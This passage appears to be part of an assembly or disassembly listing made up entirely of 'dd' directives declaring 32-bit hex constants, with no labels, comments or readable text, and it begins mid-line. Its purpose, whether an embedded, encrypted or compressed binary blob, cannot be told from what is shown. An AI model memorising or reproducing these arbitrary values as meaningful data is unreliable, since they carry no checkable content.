3C661AC6h dd 1E30DD83h, 957B480Fh, 38A1137Ah, 0E40031AAh, 39D2FC29h dd 1BC9E4Dh, 497F099Fh, 7307AA3h, 0F0F300CCh, 0C04F738h dd 9B00D83Fh, 195ABC86h, 873A11h, 0EB0939Eh, 910413E1h dd 591CE800h, 0D89AF0A9h, 4EEF0F25h, 9600B35Bh, 6B62430Ch dd 0F12AC612h, 8173BC88h, 8F8801A4h, 6F00D07Ch, 6E62068Eh dd 0F3502C21h, 7930C718h, 0D42DB1A7h, 22C61D9Ch, 61803EDCh dd 0FFA6BFDh, 0D9007FB7h, 673B049Ah, 6709EECh, 0BD88D3E4h dd 0BE4C6184h, 13C3A5Eh, 0F6F887A6h, 202D2EF0h, 0AACEE100h dd 1ABA6F05h, 0BB0C0100h, 5E7C33D4h, 9CC13BB6h, 0EC22ABDh dd 407ABD0Fh, 0EB0DFD55h, 0BAE2003Bh, 0A027BB0Eh, 5D007BCCh dd 3F2CB353h, 1DF00FCBh, 42E89F5Fh, 0D6C56EE7h, 0E4D16D60h dd 75905100h, 1EA0032Fh, 0A1850FA8h, 5CA73ADFh, 0BEBB909Ch dd 48009654h, 5586C3C1h, 4AD4305h, 3C04AB3Eh, 0A60CC0C4h dd 0D896F92Fh, 7838E300h, 0B8BD33DEh, 8E40008Ch, 6E112A8Dh dd 0D50EAD12h, 0E2378C92h dd 766894FFh, 5AEE00D0h, 0DAC07EE9h, 0E505F107h, 0E06E7611h dd 0CAE410DEh, 58D7906h, 376C72B5h, 0F8F0D189h, 8B68D07Bh dd 0C3E33509h, 0ED60C0C1h, 302B0C9Eh, 4F10A496h, 0BB720DEEh dd 216C38h, 559F39CBh, 30DBE89Ch, 7E513A61h, 0F0EE822Fh dd 0C74AF71h, 4A9B1C00h, 0F2124B86h, 0A9520FE9h, 0B3E9CFEBh dd 70820C41h, 11034320h, 0C6BF4157h, 885CB8F1h, 241F00D5h dd 7B3EA1C9h, 0FDEC6A9Ah, 0B00F910Bh, 90688084h, 5C103097h dd 0D44DE3E3h, 0D7E43100h, 0DC0637A1h, 8071B03Ah, 0B242CA44h dd 7B2F90F6h, 0E811369h, 4516AAD1h, 0E83D2804h, 88E95049h dd 80CCF929h, 344339D8h, 0B83A1757h, 89257A80h, 9EDA4085h dd 62020A4Dh, 93B10FE4h, 0D588A055h, 888AA1h, 0E6735033h dd 61BF60D4h, 0CEB4000h, 0EC995E2Ah, 0B40E00D3h, 0F32795Bh dd 3F0088ACh, 0BBA54BFDh, 0F8ADE839h, 1B6C05B2h, 0C4904D91h dd 0E8CE81Ch, 400AF6F0h, 79984B21h, 871D02ECh, 0A02EBA94h dd 0AF697BC0h, 70305300h, 0F5E7F423h, 0FE5F00E8h, 3F46C551h dd 0D0EC6245h, 4A47A203h, 0C9F2BE52h, 0D83C7F97h, 21D39900h dd 0A14D888Fh, 0D70BA47Ah, 8D8254h, 621EA99Ch, 331901Ch dd 0E79B8C68h, 6CF82924h, 0B3707630h, 0DAF1CC00h, 191DBEB7h dd 0DB1F0F6Dh, 412023A1h, 5FD23F24h, 5C79F400h, 0D904C259h dd 0A1332E9Dh, 5BD700B0h, 564183E4h, 27CB7300h, 70EBCDB1h dd 0F31F13CEh, 0B06402ADh, 9380D5E7h, 27FBDD7h, 77786200h dd 8CEEE083h, 8AEA34h, 0E218F8A2h, 9FB07DB7h, 19147F1Bh dd 0EDD8E810h, 0CF2F0099h, 0DD466F4Ah, 59003196h, 9DC379F9h dd 756D6CDh, 7E3D2539h, 5CBF61EAh, 6F55C484h, 6D5D0F00h dd 0B51A3C22h, 0E8F7BB6h, 0DBA9E02Eh, 86345CE0h, 9E1F1039h dd 0BEC0632Ah, 4A6B5290h, 0AD9100D7h, 9932619h, 3400A0BDh dd 92CA5FB8h, 18F60BACh, 0A9186BF3h, 0B2002B96h, 0B84C27C0h dd 66473Ah, 2D3B2376h, 15CE6282h, 632E7B00h, 0B495BD21h dd 3AB29866h, 0C4155387h, 0A201807Fh, 9A19EC96h, 3F68F0C2h dd 0AA13D476h, 7C00237Eh, 0D180CE6Ah, 12BB00A0h, 0DDE76E02h dd 0F30A39F0h, 8C585C97h, 92735B00h, 9DF8CAh, 0DFDAFEC0h dd 47FAABFFh, 0C6A131Fh, 87EC01C0h, 1E04E76Fh, 9525953Fh dd 42106C9Eh, 0F1EC0023h, 6F50AA57h, 0C62D1DDEh, 29FF82F2h dd 19E0ADC5h, 0B300D50Bh, 0F9661B0Ch, 3DD03C2h, 13D40A05h dd 48035C3Bh, 1F2117E8h, 5F4FB8D7h, 9FB43E69h, 0D8203B00h dd 0AA41FB2Ch, 278EAB00h, 17F60663h, 3B7C0073h, 74CB1F40h dd 0C0071ACh, 9DC0168h, 1EFBE3D6h, 8033D58Dh, 7954863Bh dd 0D3009546h, 147DB9F5h, 14813BEh, 299428A4h, 0C07670CEh dd 0C8753D9Bh, 0CFB41F00h, 65B5183Ch, 83A700DBh, 0BE8D1A5Fh dd 601FA4Ch, 18BA2298h, 5C71F5FFh, 502AE8h, 75947120h dd 0AF06A50Fh, 680063F8h, 3ED9952Bh, 0E34F8h, 0E4A14C72h dd 100C86B0h, 3FE01800h, 0E9759F92h, 0EA1D001Ah, 24DCC2AEh dd 0C40EED83h, 60BEFB04h, 79FF9CD3h, 57F900A6h, 0BD3D7C54h dd 0DF042D4Ch, 0FA4B9955h, 7671C880h, 7E1769Ah, 0FF7E8274h dd 17E3003Eh, 1B03D710h, 283A6FC4h, 5306D0A5h, 0DD87002Ah dd 0D4929D7Fh, 6F1E54EDh, 0D9C3586Bh, 0B8BE31BDh, 32F2473h dd 0AD6B419h, 0A2D03668h, 10E7602h, 0FD43FB8Fh, 0A183BB00h dd 26F2DC9h, 34ACD3F1h, 6844B753h, 0BD002672h, 7DA3150Eh dd 30CBEDA9h, 1CB91D11h, 1F04D310h, 26775348h, 520D4080h dd 8E690E2Ch, 17FB81h, 4EC27A8Dh, 0A309D7A6h, 0F6C8C4Dh dd 29A420D0h, 18787130h, 1997E5C2h, 0E9090AA3h, 562BC3h dd 0FB673F80h, 0FA60002Fh, 7B0F405Ah, 0A30089D7h, 50FCA029h dd 26D045h, 7520BB80h, 84337307h, 0DF984C00h, 0F8A058BAh dd 0B2FA0751h, 0F07C160Fh, 5EF659F0h, 4B283660h, 1DCAC93Ch dd 0C0074282h, 99BC87FEh, 21132618h, 64433804h, 0B0AE5C8Fh dd 72356A01h, 0F1D1073Ah, 9751B352h, 0C7CCF5F9h, 4066B006h dd 0FC00A201h, 0CF4FA344h, 5C0EF6h, 0DD78F3F0h, 947D954Eh dd 6B48F701h, 628BC26Dh, 0F33160h, 0B32C5477h, 130401D3h dd 0E65EBC03h, 0F025ECFCh, 3193Bh, 88D0DA75h, 0AC4C8D99h dd 0ECDC5500h, 0FEA1399Ch, 0E84500DFh, 4A8EA205h, 0E2032199h dd 0CCBAEC1Bh, 26048082h, 0AF91011Dh, 87BE3CDh, 29488094h dd 6B0324DBh, 68EA0070h, 1F8A5FA9h, 22E235E9h, 7300E2E0h dd 4BA6C549h, 0BFD267h, 7A1BEACDh, 874CB945h, 0F2C4DC01h dd 70B0DD39h, 25EA2E8h, 0A5849FA3h, 0FC401DC7h, 34FDE664h dd 0B700BD70h, 68072528h, 986630h, 15E1BB81h, 9A753D03h dd 0F5AF8500h, 7CC7011Bh, 0F87524h, 0C67AACF4h, 53E6230Dh dd 5E4CF978h, 350478E7h, 58B37B1Fh, 0E7DBA0D0h, 0AFF88Eh dd 2E6DD8DDh, 21CD8DD5h, 326BA018h, 781C7288h, 89B01978h dd 7C4105Fh, 4CACF3D0h, 0C920C00Ch, 0F5DD6D4Dh, 39798E33h dd 36D7ABCCh, 58715950h, 5FFB1310h, 71CED580h, 0ED02B533h dd 7BEB35DFh, 8B50A0AFh, 7E4BF48Dh, 8E760ACh, 4CBFE929h dd 74698EF9h, 0B9CD6CB9h, 3E04001Fh, 792B6544h, 0DE7328E0h dd 62B5F800h, 6A493F22h, 91D60CFFh, 0F4C0E869h, 0F9AFA600h dd 74930BB5h, 0FE0C00C5h, 0CE02CABBh, 0CD00F1DDh, 0ECA276EDh dd 2DBA77h, 0C808E483h, 32544D60h, 0B15BDE00h, 7B8D39DDh dd 599D0305h, 12668AD3h, 5B1024A8h, 817CD1C0h, 503498B3h dd 3ADDB885h, 6433EE0Dh, 0B3901B21h, 9E000B15h, 9B5510D0h dd 393D8FEh, 0A09D724Ch, 5923AB53h, 5742C27h, 22DD349Bh dd 620622Ch, 6CB36Eh, 0D08CF7CEh, 0E6B7349Ah, 1051F062h dd 0C80E077h, 0AC87551Fh, 36AA3D8h, 76A40694h, 40F82B63h dd 9C06BFDFh, 0C69ECC86h, 31F96298h, 0BC8644F0h, 0F3006C5Eh dd 0C4E9728Fh, 75907E8h, 62E6567Fh, 0C97CC0F2h, 18C0EBB0h dd 9429F472h, 0B849C04Ah, 8024AF21h, 331CCD48h, 1C309D7h dd 0AF2A1821h, 0D802093Fh, 58031C6Ch, 2CF8F1E3h, 0FD3CE878h dd 4C924869h, 5D93B800h, 4E373094h, 8BEE48h, 1A87DF6h dd 3D58C00Dh, 3D000AD9h, 8BB261A5h, 3098AFE2h, 2700D5E6h dd 0EAC6EF7h, 2E39D3h, 8AF5E087h, 0A8E49BE3h, 74B3D609h dd 9DE00009h, 85A5AFh, 0D71E37ABh, 0DFB16E75h, 0AA5AA100h dd 73803166h, 1FEA0F8Ch, 0D1A09D4Fh, 0B759CF1Ch, 38AA1D00h dd 410BC279h, 56313C30h, 83A0049Eh, 0B2D4B1F9h, 7B2928F8h dd 55392000h, 0E481483Fh, 0A1F701C6h, 722ADC83h, 0B313002h dd 8027563Ah, 1EC19F08h, 0C2BBD7Bh, 0EDC266C6h, 65004E42h dd 0F83479E0h, 39B4F47Fh, 0D500E26Bh, 5277CF2h, 3DB065F0h dd 3337402h, 0E05A43A5h, 0C63734h, 9B12A804h, 0F1AE774Ah dd 0A7A2C800h, 9243F8EBh, 0CCF6F51h, 0B47BD2A0h, 9B74402Ch dd 7426FF0Fh, 95A7802Fh, 0E6817FF2h, 1C1302EEh, 0C13FA88Fh dd 51A49540h, 165E2900h, 44E2D889h, 3E6D007Ah, 66D388C4h dd 3C00F577h, 4542A3EAh, 78A8C7h, 2ABE47E1h, 9B1AB6DEh dd 83EE1200h, 19689413h, 0C02B0327h, 78AC0F9Dh, 0F19CE0DFh dd 0C10E84E8h, 7F7B9383h, 5DCB140h, 0F60CCA80h, 0A20E1F01h dd 73F2C027h, 6798FBE7h, 0C09AD701h, 8F89E211h, 76F7A1D0h dd 0B0AA541Fh, 0B5BA008Eh, 49BC585h, 1C75EB0Fh, 0CACC3E03h dd 0CB2842A0h, 83D0C764h dd 6091CBh, 0AAD5C62Ch, 0E09FAB1Ah, 0EC2B4A07h, 7980CA76h dd 1284CE2h, 6DBD31A1h, 0C451BC8Ch, 0F300A373h, 9D447D47h dd 0D929B8h, 0FBDD97BFh, 9203DB35h, 80BAE83Ah, 5DCF1E07h dd 0AB3896h, 1A45FF78h, 1720A456h, 0C6114800h, 5433C757h dd 0B4B50022h, 0F71AC069h, 0DF752316h, 856CB00h, 0FC2FC32Ah dd 47B701A1h, 3301C584h, 0FDABD905h, 996520BAh, 808ECB0Ch dd 1F2BD0B5h, 80480FA5h, 0AD88202Ah, 0DF3B59FFh, 41671650h dd 0DCF24E01h, 82EC17FEh, 603900A6h, 0C3AE317Ah, 0E5007BC7h dd 6EC20C16h, 752D011h, 9AD9F2E3h, 0AEEDD091h, 65005C2Fh dd 8FCE5B3Ah, 3A16F909h, 10006E4Ah, 39F6A8B2h, 2D1DB5C3h dd 828FE9D9h, 1D4545Ch, 54848AD5h, 0CC509043h, 0FFA381DFh dd 7D4FFF0h, 32A81FBEh, 0B5203FEEh, 0DF199F61h, 0E7F09990h dd 158F6E00h, 0F7F0B7D8h, 70410F71h, 0F9C01876h, 1932A326h dd 9F57C400h, 3F2DCF05h, 0D474B05Ch, 471EA6C1h, 4E6E662h dd 90D4E2F7h, 59DF9920h, 5E668900h, 0FE3B03C7h, 38C8094Ah dd 3900AE2Eh, 0E153949Dh, 65FAE500h, 4D670782h, 1C02E48Ch dd 0C010253Ah, 0A92DEEC8h, 6E00795Ah, 0D8AADD5Dh, 605C1Eh dd 0BD22CD5Bh, 208117B2h, 0CF005279h, 1CBE94A8h, 0B0BFE41h dd 7EA16667h, 56D48600h, 3100B06Fh, 3AEFF60h, 44AA8Eh dd 1826AFADh, 4D1F62C5h, 72CA4800h, 9FB23606h, 58E80Bh dd 99E32BB4h, 0FFF545Fh, 3E63C600h, 944AB66h, 0CBE248h dd 0E86987Eh, 950FAAF5h, 0B6B33Bh, 0AC7994F8h, 73BE32A4h dd 9EB400EFh, 48ABEADBh, 1A1F67BBh, 194F58C1h, 71403F2Dh dd 847DC4E7h, 992600C0h, 0CE04D915h, 20007278h, 6FA7FAB6h dd 47CF29h, 81C34023h, 4487A876h, 5A372E00h, 0F1FDCEF8h dd 8F29002Ch, 0C607B7A0h, 7B3ED5A2h, 2368034Eh, 0B87F20ABh dd 0B2E00Fh, 6F6ADE3Bh, 0E881C469h, 5B8DE503h, 0D99772A3h dd 3880050Dh, 6B9093A1h, 0F001089h, 278EA0E8h, 1E642679h dd 9DF244ADh, 0CD63832Ch, 0EF025E7h, 3A002447h, 0A132FB6Dh dd 1CFE8059h, 824158BAh, 15918156h, 0D02AE686h, 0E7003FEEh dd 29FCBA95h, 1C972CEDh, 4CA0F407h, 3F10E412h, 0FF77C608h dd 0FABD32h, 36FB5969h, 822E06C4h, 0BC47EB00h, 0B72DE9B6h dd 98D454E0h, 20E1846Ah, 8B05969Ch, 8E92F47Ch, 621E8E07h dd 0DB05A280h, 0D8B800B3h, 0EC12B4F2h, 2009B79Ch, 79DCA7h dd 0E16092B5h, 2825002Dh, 0C2ABB519h, 4200A25Fh, 0C3CD99F1h dd 3C571A52h, 0D000DFDEh, 94AB5C14h, 6200690Fh, 0EF7E8AC2h dd 1C89F89Ch, 94D55h, 83FE0DC4h, 1F0F465Ch, 5A1174h, 4FAB98CAh dd 0EAD8B8E5h, 627006h, 0FC85D0A4h, 0EBF52B33h, 0AD508C0Fh dd 231602Eh, 11DB2BFh, 9EEC3B8Dh, 205E3F78h, 0BB01B941h dd 0CA2087Dh, 79E03C96h, 0D21E01E8h, 82B3478Bh, 817EE07Ah dd 8CCF7400h, 0B8AD4CCDh, 0D14B0083h, 41DAD4D6h, 7E00814Fh dd 0AE3C4476h, 7EF4EAFh, 68E3F752h, 0B7374084h, 38134B4Dh dd 1800DA95h, 2FCC4C55h, 73AA0008h, 0A0693AFAh, 0EF00726Ch dd 13B84264h, 3C32C1E5h, 2E0367DDh, 0D2F0AEF4h, 59A046D8h dd 0F3CE7900h, 0DA01E651h, 0C30F303Ah, 0F852C068h, 9C6EE301h dd 1822FFB2h, 392B16ECh, 75F9053Fh, 41E30069h, 2A4A47DBh dd 0DF004F96h, 0ED13334Ch, 3825800Bh, 0F4549268h, 6C59068Eh dd 68DC351Eh, 0B223B400h, 0C7A13C1Ch, 2DB70F55h, 0B5002A40h dd 0D0BCBD3Bh, 30D5AA28h, 0BE6E580Fh, 31A301A7h, 1DD1EBA1h dd 0E74654F4h, 5F1CBE1h, 49442FF0h, 39077CBEh, 80C6D8C2h dd 76D080B6h, 137A4E8h, 168620BBh, 6F600010h, 0CB3E937Ch dd 0DC0041BEh, 0C8BF58ACh, 0CB3F3A5h, 29A08380h, 0D860CD20h dd 59A25E91h, 43B9809Bh, 1673BD5Ch, 4B00FBE5h, 0CB3CF412h dd 0DA550024h, 0E15B96EDh, 0CC01DD53h, 41435913h, 0A980B902h dd 0F7F885C1h, 0FBF1C9D0h, 7A00607Ch, 4244D58Ah, 53EDE5Eh dd 0C12FA640h, 0E808025h, 1E0089E7h, 0D36C17CEh, 0A91F34h dd 0B944D619h, 9667CC15h, 45F50D00h, 0EA2295F3h, 65F200DAh dd 39181A44h, 3E004E42h, 7CD2E7E4h, 0B212FDh, 674CF9F2h dd 3BB38311h, 1B009BF8h, 42B4B631h, 5030E9h, 35B02655h dd 0F423BF12h, 96F1A400h, 0D12FEAA2h, 1FD90C88h, 0D570C1CBh dd 82F4E30Eh, 0CF8CA058h, 41ADA2h, 0DB781596h, 0A765AE2Ah dd 93269000h, 0B886E4F0h, 774767Fh, 50C08D6Fh, 5E01A0C9h dd 4B004131h, 0A9549EE3h, 4EF1DFh, 0DE4951C0h, 0A8D8B1A7h dd 0CDD3A000h, 3ED4193Ah, 0A4BF5038h, 0FEF034h, 0F2B6B127h dd 7A1F7DB3h, 81453A3Ch, 1837B9F0h, 0F8E42D79h, 0C8910F09h dd 0D2237EAFh, 0E4B843EAh, 4100135Bh, 157D3975h, 31094Fh dd 0D43CFC84h, 0E1B3EB78h, 0CCF43Fh, 6D3DB995h, 7AEE72h dd 487B8159h, 0C7963634h, 11886600h, 9539E441h, 0FA62795Ch dd 0EA0E18CDh, 0F36B38A4h, 0E0C4CF00h, 7D0CDE4Bh, 3E0F0331h dd 152A8E6Ch, 38E28FD8h, 0DA44471Fh, 9082C8E6h, 0C022FB8Ah dd 0DD133Ch, 951798FFh, 0E79F9E15h, 1F0EFA3Eh, 0B6C0C2E2h dd 42BB6F28h, 0C4870090h, 4A29B95Fh, 1EE0E861h, 11C6000h dd 6BB73C7Fh, 475E0037h, 0E614FF42h, 0BA005B65h, 8D89CD1Ah dd 1F709B04h, 97D9B3F6h, 0DC44006Dh, 220C06EDh, 0DA000974h dd 88CAB512h, 619C65h, 63FFAE17h, 0DFEB83F9h, 705B3Dh dd 0D608082h, 77228D6h, 0DD6F2EF6h, 4052F0BFh, 4E0FE704h dd 873180C9h, 0ED40D11Dh, 0C0AC20B8h, 4D48E98h, 5F0023DAh dd 7612C8E2h, 7554F09h, 0E786FC93h, 85C2100Ah, 6400AEF9h dd 8EA41FFAh, 13DB358h, 0A5B8739Ah, 0FCC42E3Ch, 88C00AA1h dd 967DB5B2h, 59822E8h, 0DB8CD206h, 1C78B33Ah, 7E4A39EDh dd 71FEAC00h, 805B9ABCh, 0D9A0F450h, 97019972h, 615FDF6Ah dd 0E1D4A215h, 0A8DE94h, 0A9D4FA4Bh, 0ED0763C2h, 0DB3D0C6Dh dd 0D0328513h, 0ABFCC08h, 8AFF6B22h, 0B11700F7h, 0FECAD49Bh dd 31416300h, 4F7358E7h, 0D1E4FAh, 0A70B7E3Bh, 0D798B942h dd 4428C561h, 0CBD8319Bh, 0B9465861h, 29F62703h, 5FC0027Ah dd 6603F52Ah, 0F4C21FF7h, 5334F0A6h, 90518B1h, 6146C842h dd 0C601ACF4h, 6BECDB9Fh, 10F456DEh, 9BD5005Eh, 84ADC8Eh dd 5C034F3Ah, 0A78A7751h, 85ED8173h, 7D861FD8h, 71930017h dd 0EFD9DC0Bh, 0A7018926h, 29C45160h, 0C7D0BE01h, 923E1685h dd 0C90CAA15h, 0A86C0CCh, 0CE53E6BAh, 563800C0h, 0D1AFEA71h dd 2973FB09h, 0CBF075Bh, 151C600h, 0E939302Dh, 4E21B734h dd 2CB1A524h, 0FD44F70Bh, 0EF9F5F83h, 7AF9D81Ch, 0A00B378Fh dd 892FB071h, 0E6C000C1h, 0B8931C91h, 52000EEEh, 56758BA6h dd 6EB3A1h, 0B77C45DCh, 89245339h, 0CAD7BC00h, 515A2F0Eh dd 3D2206FEh, 808DBD8Ch, 9200447Ah, 0EC41CFFFh, 7EC5B5CCh dd 0A00680C9h, 0F47B6312h, 0F5FF7C45h, 7E92CC41h, 94204F75h dd 981600E2h, 0CD60136Ah, 8C00D07Bh, 9A57189h, 0FAE6A0h dd 6F9D0287h, 0DDA92458h, 0FD73FC00h, 30A24F78h, 5F1C583Ch dd 0B32C7C0Ch, 53043A78h, 0E99D4558h, 9C17881h, 0D9A99510h dd 9B3AF700h, 7DFEA88Dh, 1D687066h, 0C022C5FBh, 0D7318698h dd 67327E9h, 0B971972Eh, 81EA4580h, 1EBBAF92h, 4089C49Dh dd 645224EEh, 0F5071F97h, 0C92B1BD9h, 36614CB0h, 0DB7C44h dd 5DE84E71h dd 0DD5CEFB3h, 0B6AE1000h, 0DE3CA74Ah, 0B0F2F9h, 0D7DFD920h dd 8B43BB7h, 0F0842400h, 0AB14E4F3h, 94280062h, 13CA9E43h dd 4F048147h, 0F8AAF0FDh, 99061A80h, 0F41B1DB7h, 0BE8B80C8h dd 5B690AD7h, 9312B1B8h, 91018415h, 43B705A2h, 0B98CC4h dd 14FECF54h, 1C9F4CE5h, 42023826h, 0E47AF800h, 3B35FBh dd 223AD39Eh, 0B62F07E9h, 7037D200h, 5371D75Dh, 0B3D65035h dd 0C4200154h, 8A8B664Fh, 77DBE80Dh, 28B19F00h, 1062F952h dd 1BF6075Dh, 0E0EC91F3h, 0F832BEDBh, 8EC44B1Dh, 0DD42C8C0h dd 72C368Dh, 0AAA03366h, 3CC7C0FCh, 9DF0071Dh, 690CC90Fh dd 2413A312h, 0E031A2EFh, 33CEEB4h, 2BDD907Fh, 93C8761Dh dd 0B43844CCh, 0D603FCD9h, 9031731h, 21EBD02Eh, 110C03Eh dd 81720410h, 0AE0F75E2h, 0FEDA76B3h, 0EED20079h, 1395EDCCh dd 45120050h, 0B227E38Dh, 51C16BB1h, 0BEDD2D0Eh, 5E8F3180h dd 0A0158C2Bh, 0E8E6F877h, 0FA27D600h, 0B594E081h, 0CB4300EEh dd 0D22E38B8h, 0E7313A72h, 264B2111h, 76186760h, 29F003h dd 71F377DEh, 0C91D09CAh, 1F6FD8C0h, 0B0978E7Fh, 0A4915068h dd 0F0D47A86h, 0A9460013h, 29DCA5E6h, 2C005559h, 243176E4h dd 51DD5h, 0F9D3DDC0h, 0C34E8B84h, 17FC611Dh, 0D8B80039h dd 403F9677h, 0B6350034h, 0CA37443Ah, 18783D1Eh, 876A6E0Bh dd 58005DA4h, 0BF89B022h, 0C605A890h, 394A0E13h, 4D8E7F80h dd 34561740h, 0D400AB6Fh, 374D985h, 0C96C0E83h, 4E40C096h dd 5C427AE7h, 217C3300h, 0B5D331B0h, 0F6B7057Eh, 80358B28h dd 635451DFh, 0ACEBC00h, 21E52D39h, 5C770049h, 0A3507AC7h dd 0B80A4445h, 0C4C88B03h, 0D411B98Fh, 8E940ED4h, 0C0FA0062h dd 7EFFED1h, 29E780BCh, 714B10E8h, 760051E2h, 0CA0AAB2Fh dd 78B38F2h, 0E0BA68FCh, 0F528218Dh, 0A360DABEh, 390126F0h dd 1EB90525h, 5EC0BAE7h, 17BE09Bh, 0C632E22Eh, 0F8F3DE5Bh dd 7300FFD8h, 6859C966h, 565F24h, 7AC0DDC5h, 0D754C66Ah dd 0D22C9800h, 0A5681A59h, 0FC01006Ch, 8AEC3AC2h, 0F3382A91h dd 0EA950060h, 0D41C8862h, 49B49ABh, 6A1A1200h, 6E3A5D75h dd 9E263100h, 0E654422h, 0EBBE0094h, 16431F8Dh, 0C2009814h dd 4D198F97h, 392126Ch, 109A95D4h, 8CC01F4Ah, 4F093C6h dd 22BA4E07h, 0C980DD43h, 19FFA0EDh, 11AC1821h, 922701C8h dd 17C19813h, 0EE24E84Eh, 127A0B00h, 419BB287h, 3DED7197h dd 4F00F51Ch, 4842C55Fh, 10E4E5F7h, 0A81A9F63h, 0A4BAF0FFh dd 0B35A12CBh, 3A6EE0D4h, 1EF1D70Ch, 6453047h, 354DB256h dd 760978D0h, 21C5525Dh, 0B06A42F4h, 4A405061h, 32462Ah dd 0D1B8BAD0h, 0DE5389E4h, 30901F00h, 51EC243Bh, 94FAE5h dd 5BFCDB88h, 0A8A3489Eh, 8F0FD6E0h, 0B66CAFh, 7AC4C6BCh dd 0CD170C35h, 10789EA5h, 80A66F3Fh, 1B1E9D89h, 0A26111h dd 249B95A7h, 0A9641319h, 0D6E8BEF2h, 1983B39h, 0BC1BBA5Bh dd 1180D7DDh, 0ABD1ABFh, 7007CC0h, 88B9B3CAh, 0A53837h dd 0E77420A3h, 0EFB66A66h, 353ABE07h, 7F3069h, 80E94DC0h dd 12C31D36h, 970F8003h, 156D39C6h, 0B3813Bh, 73C443F9h dd 3CE542F1h, 17124F6Ch, 16B40FE1h, 0ACFAF0C0h, 20076939h dd 0D00CE65Dh, 448B04A0h, 0B43C007Eh, 9319A790h, 94062016h dd 8613310h, 23850059h, 0A43C4D2Dh, 6301361Ch, 9DEF990Fh dd 2E05CF6h, 167D00F0h, 9A3BD9EDh, 0BA035165h, 0DB70E017h dd 0ECF1D049h, 0D6D20082h, 34B79F4Ah, 0EA00613Dh, 0AEC4D073h dd 2058E6h, 0FF54B6D1h, 0F85BD608h, 0CAEB370Eh, 51EC175h dd 0C0315FBAh, 111C0h, 578D8273h, 0B19E6321h, 99420607h dd 2FA95AF5h, 0B2CA4118h, 0AF710CF7h, 26B68DE0h, 8118A33Fh dd 44A4DDB7h, 383CCFD4h, 834464h, 0C1AFA326h, 463BDEB7h dd 6C63D00Eh, 40D48066h, 0BABD5FEh, 0F18C5E9Ah, 914F0981h dd 0E30FD0A2h, 0B94C30FEh, 80C339E8h, 833108DDh, 1F52225Fh dd 0FBC9F79h, 0A4D45492h, 0EAA62C01h, 0D3C4870Fh, 5B59800h dd 0FBC1930Dh, 4D9F3D66h, 1260B3B8h, 4013A5E5h, 0C05C5Ch dd 38D5DDF4h, 2FEB341h, 4CAC4F16h, 80C3EA49h, 0A7DE67F0h dd 422B0D00h, 0C024A0DBh, 0BC080047h, 3389CC45h, 9034CCFh dd 0FD6DFBAEh, 38C0F0ADh, 0B385079Ch, 0E083BEh, 0CB0362C1h dd 88D2451Fh, 36633FC0h, 9674AFh, 2E355629h, 616D685Ah dd 9A84CC00h, 22DAC418h, 5C3F4D14h, 4020621Dh, 4FA2B58Ah dd 13006F07h, 0A4267302h, 1F1DF2A8h, 4052EDE4h, 3FC3BF29h dd 4F00E2F3h, 530D3DA5h, 48C4DAh, 4C5F11A1h, 0FDCCE082h dd 6FF79607h, 0A0AE2D79h, 0C8DCA3FFh, 0BD4A01C3h, 0EDA064F0h dd 6183405h, 0A1008CA6h, 3B694D5Ch, 645F86h, 0E3A04A8Ch dd 5F51AF0h, 14F1E00h, 0CE89783h, 21500107h, 0CA34E568h dd 30A57066h, 6A004490h, 0B9471881h, 5D97980Ah, 56001008h dd 0E3F57DCBh, 2215BFC8h, 2E8492D3h, 78269829h, 12005912h dd 0B6066EA3h, 5EE800A4h, 13D14A4Dh, 33EE901Eh, 0A2A3E607h dd 0D7D079FBh, 4EC258h, 0FFE7B1D8h, 5E357175h, 24122716h dd 85DEDF00h, 5BAD8Dh, 0C361DFAh, 604E927Bh, 5A17D20Fh dd 0E510A0E3h, 700585B4h, 2528006Dh, 4BC05ED0h, 3A001F7Bh dd 0B899F95Dh, 0E28743h, 6DC276Bh, 4254E98Ah, 0BE823200h dd 96DAC330h, 3472E55h, 31803B30h, 2824E2FEh, 4600DE49h dd 86F744FAh, 708FC678h, 98351BF1h, 279080A0h, 0C4051399h dd 4E6ADB6h, 8FCCFCC2h, 0E3F44090h, 0E030A551h, 284F1E2Dh dd 22FFC988h, 0EF469C00h, 5E00396Eh, 3B0EA1BBh, 7CDD093h dd 0A41D220h, 620DD072h, 380078ADh, 7B6CC150h, 15E519h dd 0A63D7C2Ah, 0F871741Ch, 0F1A8F604h, 0B4C87577h, 0C4C1EEFh dd 7E52006Ah, 291A03F0h, 16590126h, 0ED255700h, 39DA673h dd 58C64881h, 0F6A02DE3h, 0AF7CA26Fh, 44002CF0h, 0B678B71h dd 7202B348h, 3D52006Ch, 0C710278Ah, 49005F04h, 0D19EEC9Bh dd 24AA126Bh, 0BC541441h, 0F7ACF080h, 18CE4A85h, 3983E80Ah dd 0CC01B454h, 0EEB3A51Bh, 0F0A4E2E4h, 6193008Ah, 782A032Dh dd 1513BC25h, 2400F287h, 6B225DABh, 1B3008Eh, 6DA28498h dd 21C07E9Dh, 0F918E09Ch, 0D1C40CE1h, 771926B5h, 2C583700h dd 910FB38Bh, 0D3A014ECh, 441EC0A7h, 0CAF0C6DEh, 295CB142h dd 0CDD500C4h, 0F73587E1h, 0FBB82Eh, 539FF596h, 84BE9A77h dd 9331E09h, 93B6871Bh, 4D2B2620h, 3774129Ch, 0AF34001Fh dd 34E920CEh, 2BF4500h, 7A3E9412h, 575E00A2h, 0F693D214h dd 680B5CD9h, 87909DE2h, 54C002D8h, 0DF24FCh, 2A51CA18h dd 0B3D5BFA1h, 0BD75E100h, 2988C894h, 0ACF900C3h, 5B8C6F34h dd 0E801858Bh, 0DC8AF5D9h, 9460869Dh, 0F067BBDh, 48C77D93h dd 0B5141C00h, 0F60F26A4h, 0A0048BF5h, 658D6E6Ch, 0FA2B00A9h dd 219CDCBh, 0FF00E89Bh, 0B8B0CE39h, 0E4D43379h, 14000E5h dd 57CF7587h, 5F0052F3h, 0AABD86CDh, 3E6B0949h, 6C8FDEF7h dd 6F46B262h, 0BC01F87Dh, 3E164EA1h, 5070CED6h, 0F5D700F0h dd 5A9DED0Ch, 0E0000F8Ch, 0BA67853Ah, 18DE9C5h, 0D950A11Bh dd 0D0770C9Ah, 0CD020378h, 87642C57h, 15EBC08Eh, 0F354007Ch dd 0A895629Fh, 0C70522BCh, 191DB63Ch, 0D95D9080h, 0D3240235h dd 0C695FF5Bh, 0A20EF4A4h, 4478FC38h, 0FF17C8B2h, 0F060D544h dd 1D0CD46h, 7812BD10h dd 83664F3Bh, 0B07A4418h, 0D1D6A023h, 0FAC9A9Fh, 5372A114h dd 55BAE501h, 25F0D3CFh, 1B0BB035h, 80394D7Eh, 0C7E43AD2h dd 9E120F76h, 9A211796h, 81EBC44Eh, 0E5FF5548h, 